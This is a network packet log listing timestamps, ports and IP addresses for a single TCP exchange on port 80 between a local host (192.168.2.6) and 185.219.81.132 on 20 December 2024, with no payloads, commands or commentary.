Dec 20, 2024 22:52:31.843467951 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.843493938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.844873905 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.844932079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.845449924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.845504045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.845532894 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.845580101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.847018003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.847070932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.847249031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.847300053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.848634958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.848689079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.848731041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.848781109 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.850162029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.850217104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.850245953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.850294113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.851608992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.851659060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.851692915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.851741076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.853137016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.853210926 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.853215933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.853272915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.854651928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.854707003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.854738951 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.854789972 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.856046915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.856103897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.856184006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.856241941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.857465029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.857526064 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.857657909 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.857712984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.858968973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.859035969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.859146118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.859205008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.860306978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.860363007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.860416889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.860470057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.861687899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.861747980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.861799955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.861855030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.863142014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.863200903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.863203049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.863255024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.864458084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.864514112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.864558935 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.864615917 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.865794897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.865854025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.865917921 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.865982056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.867166042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.867227077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.867283106 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.867338896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.868545055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.868612051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.868828058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.868887901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.869859934 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.869918108 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.869972944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.870033979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.871206999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.871272087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.871392965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.871450901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.872632027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.872737885 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.872801065 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.873933077 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.874001026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.874030113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.874080896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.875252008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.875310898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.875375986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.875433922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.876596928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.876657963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.876738071 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.876796961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.877939939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.878000975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.878074884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.878127098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.879292011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.879355907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.879432917 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.879496098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.880649090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.880707026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.880872965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.880934000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.882009983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.882069111 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.882145882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.882205963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.883382082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.883443117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.883481026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.883533955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.884798050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.884860039 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.884941101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.884999037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.886042118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.886101007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.886178970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.886234045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.887428999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.887487888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.887551069 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.887608051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.888802052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.888859987 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.888972044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.889029026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.890113115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.890175104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.890275002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.890331984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.891638041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.891696930 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.891796112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.891850948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.892796993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.892859936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.892923117 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.892987967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.894201040 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.894349098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.894397020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.894449949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.895617008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.895679951 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.895731926 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.895792007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.896962881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.897021055 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.897099972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.897157907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.898197889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.898256063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.898318052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.898380995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.899549961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.899609089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.899668932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.899717093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.900918007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.900976896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.901031017 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.901086092 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.902288914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.902364016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.902426958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.902484894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.903603077 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.903659105 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.903722048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.903772116 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.904983044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.905073881 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.905092955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.905170918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.906342983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.906400919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.906409025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.906455994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.907644987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.907716990 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.907771111 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.907830000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.908993006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.909053087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.909113884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.909174919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.910362005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.910420895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.919625044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.919694901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.919734955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.919790030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.920377970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.920435905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.920470953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.920525074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.921648026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.921721935 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.921808958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.921869993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.922986031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.923044920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.045557022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.045640945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.045737028 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.045830011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.045878887 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.045933962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.045986891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.047003031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.047147036 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.047184944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.047218084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.048209906 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.048299074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.048367023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.049351931 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.049448967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.049505949 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.049559116 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.050559044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.050620079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.050672054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.050726891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.051727057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.051779985 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.051845074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.051903963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.052892923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.053061962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.053121090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.054101944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.054158926 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.054219961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.054272890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.055295944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.055355072 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.055447102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.055500984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.056484938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.056601048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.056657076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.057667971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.057728052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.057780027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.057843924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.058831930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.058881044 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.058959007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.059012890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.060008049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.060152054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.060208082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.061234951 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.061295986 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.061322927 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.061374903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.062381983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.062453032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.062520981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.062576056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.063575983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.063636065 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.063710928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.063769102 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.064774036 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.064876080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.064934969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.065953016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.066010952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.066087961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.066137075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.067123890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.067178011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.067251921 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.067311049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.068301916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.068440914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.068501949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.069499969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.069556952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.069617987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.069673061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.070704937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.070768118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.070836067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.070893049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.071902037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.071985006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.072046995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.073054075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.073123932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.073179960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.073245049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.074225903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.074281931 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.074414015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.074480057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.075408936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.075462103 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.075534105 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.075592995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.076586008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.076730967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.076795101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.077769995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.077831030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.077904940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.077960968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.078989983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.079046965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.079101086 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.079153061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.080192089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.080319881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.080378056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.081358910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.081415892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.081476927 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.081533909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.082541943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.082600117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.082638979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.082700968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.083708048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.083771944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.083821058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.083877087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.084903002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.085046053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.085110903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.086041927 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.086107016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.086261988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.086314917 CET	49786	80	192.168.2.6	185.219.81.132
